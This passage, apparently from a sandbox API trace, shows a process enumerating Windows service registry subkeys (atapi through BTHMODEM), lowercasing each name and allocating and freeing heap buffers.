0x21f1b68 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0248.786] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.786] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.786] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.787] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.787] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0248.787] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.788] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.788] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0248.788] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.789] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.789] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0248.789] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.790] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.790] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0248.790] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.790] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.791] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0248.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0248.791] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0248.791] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.792] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.792] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.792] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.792] 